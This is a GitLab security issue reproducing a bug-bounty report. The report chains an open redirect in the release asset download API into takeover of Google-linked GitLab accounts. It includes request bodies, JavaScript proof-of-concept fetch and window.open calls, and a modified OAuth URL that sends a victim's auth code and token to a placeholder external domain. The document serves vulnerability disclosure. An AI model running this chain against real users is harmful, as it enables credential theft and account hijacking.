Skip to content

Open redirect in releases/api/v4/projects/:id/releases/:tag/downloads/:link leads to sign in victim's google-linked account

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2732235 by swiftee on 2024-09-20, assigned to @greg:

Report | Attachments | How To Reproduce

Report

Summary for open redirect

Hello Gitlab team.

There is a feature that allows user to create a release asset link that points to external website. Recently there were added a protection from open redirect in the form of intermediate page that informs user that he is being redirected to external domain. But there also exists an api route api/v4/projects/:id/releases/:tag_name/downloads/:direct_asset_path that is basically doing the same but where no protections are present.

Steps to reproduce open redirect
  1. You will need a Personal Access Token for creating a release asset link and later for escalating to account takeover. You can see how to create one here.
  2. Create a tag
  3. Create a release asset link that links to external resource. Insert in request the id of Your project, Your private token, name of the tag that was created as step 2 and external domain.
POST /api/v4/projects/YOUR_PROJECT_ID/releases   
Host: gitlab.com  
Private-Token: YOUR_PRIVATE_TOKEN  
Content-Type: application/json

{  
"name": "external",  
"tag_name": "CREATED_TAG_NAME",  
"assets": {  
	"links": [  
	{  
		"name":"external",  
		"url":"https://EXTERNAL_DOMAIN",  
        "filepath":"/external"  
	}  
	]  
}
}  
  1. Go to https://gitlab.com/api/v4/projects/YOUR_PROJECT_ID/releases/CREATED_TAG_NAME/downloads/external. You are redirected to external domain. This is open redirect.

Next I will show how to escalate it to account takeover

Google account takeover set up
  1. Create another tag for your project
  2. So You will need to create one more release asset link this time it points to exactly /api/v4 URL that redirects to external domain, insert info including name of the second tag.
POST /api/v4/projects/YOUR_PROJECT_ID/releases   
Host: gitlab.com  
Private-Token: YOUR_PRIVATE_TOKEN  
Content-Type: application/json

{  
"name": "internal",  
"tag_name": "SECOND_CREATED_TAG_NAME",  
"assets": {  
	"links": [  
	{  
		"name":"internal",  
		"url":"https://gitlab.com/api/v4/projects/YOUR_PROJECT_ID/releases/CREATED_TAG_NAME/downloads/external",  
        "filepath":"/internal"  
	}  
	]  
}
}  
  1. Now You have Gitlab UI URL that reidrects to gitlab api than redirects to external website. Save it, You will need it for POC
    https://gitlab.com/YOUR_NAMESPACE/PROJECT/-/releases/SECOND_TAG/downloads/internal
Google Account Takeover POC
  1. Victim user need to be logged out and have a gitlab account connected to google
  2. Set up POC, update info: PROJECT_ID, PRIVATE_TOKEN and link with NAMESAPCE, PROJECT and TAG (use link from step 3 of Google account takeover set up)
  3. Load html POC and click Sign in with GitLab as a victim you will need to enter google account info if you are not signed in and then enter your gitlab account
  4. You will be redirected after sign and your auth code will end up on external server that you have configured in POC
  5. Now You can login to gitlab with google using leaked code. As an attacker to gitlab.com and click login with google, forward all requests, until You get to the https://gitlab.com/users/auth/google_oauth2/callback endpoint, then change code parameter to the leaked one. Observe that You have successfully logged in as a victim user
POC explanation
  1. First we set visibility of the project to private.
await fetch("https://gitlab.com/api/v4/projects/PROJECT_ID", {  
                        method: "PUT",   
                        headers: {  
                            "Content-Type": "application/json",  
                            "Private-Token": "YOUR_PRIVATE_TOKEN"  
                        },  
                        body: JSON.stringify({visibility: "private"})  
            });  
  1. Now we send logged out user to the Gitlab UI download lnk which was saved before
    const gitlab = window.open("https://gitlab.com/YOUR_NAMESPACE/YOUR_PROJECT/-/releases/TAG/downloads/");
    As he is not logged in and project visibility is private this page will redirect to sign in. What's important here is gitlab saves this link, and it will redirect there after successful sign in.
  2. I add await sleep(4000) 4 seconds wait time because sometimes gitlab will load captcha validation so getting to redirecting to sign in after release asset page can take longer.
  3. Next we set visibility to public and also add public access for repository and releases
await fetch("https://gitlab.com/api/v4/projects/PROJECT_ID", {  
                        method: "PUT",   
                        headers: {  
                            "Content-Type": "application/json",  
                            "Private-Token": "YOUR_PRIVATE_TOKEN"  
                        },  
                        body: JSON.stringify({visibility: "public",releases_access_level: "enabled",repository_access_level:"enabled"})  
            });  
  1. Send user to google oauth (accounts.google.com), but change the response_type to code,token
const google = window.open("https://accounts.google.com/o/oauth2/auth?access_type=offline&client_id=805818759045-aa9a2emskmnmeii44krng550d2fd44ln.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fgitlab.com%2Fusers%2Fauth%2Fgoogle_oauth2%2Fcallback&response_type=code,token&scope=email+profile");  

When the response_type includes token google will send auth info in fragment. This is needed as open redirect will send fragment but not query parameters
5. After Google Sign in it will send user to https://gitlab.com/users/sign_in.
6. After Signing in it will redirect to the saved link https://gitlab.com/YOUR_NAMESPACE/YOUR_PROJECT/-/releases/TAG/downloads and as it is now public then to external domain with the fragment that includes code and token

Impact

The impact of this vulnerability is an account takeover of any gitlab account that is connected to google

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: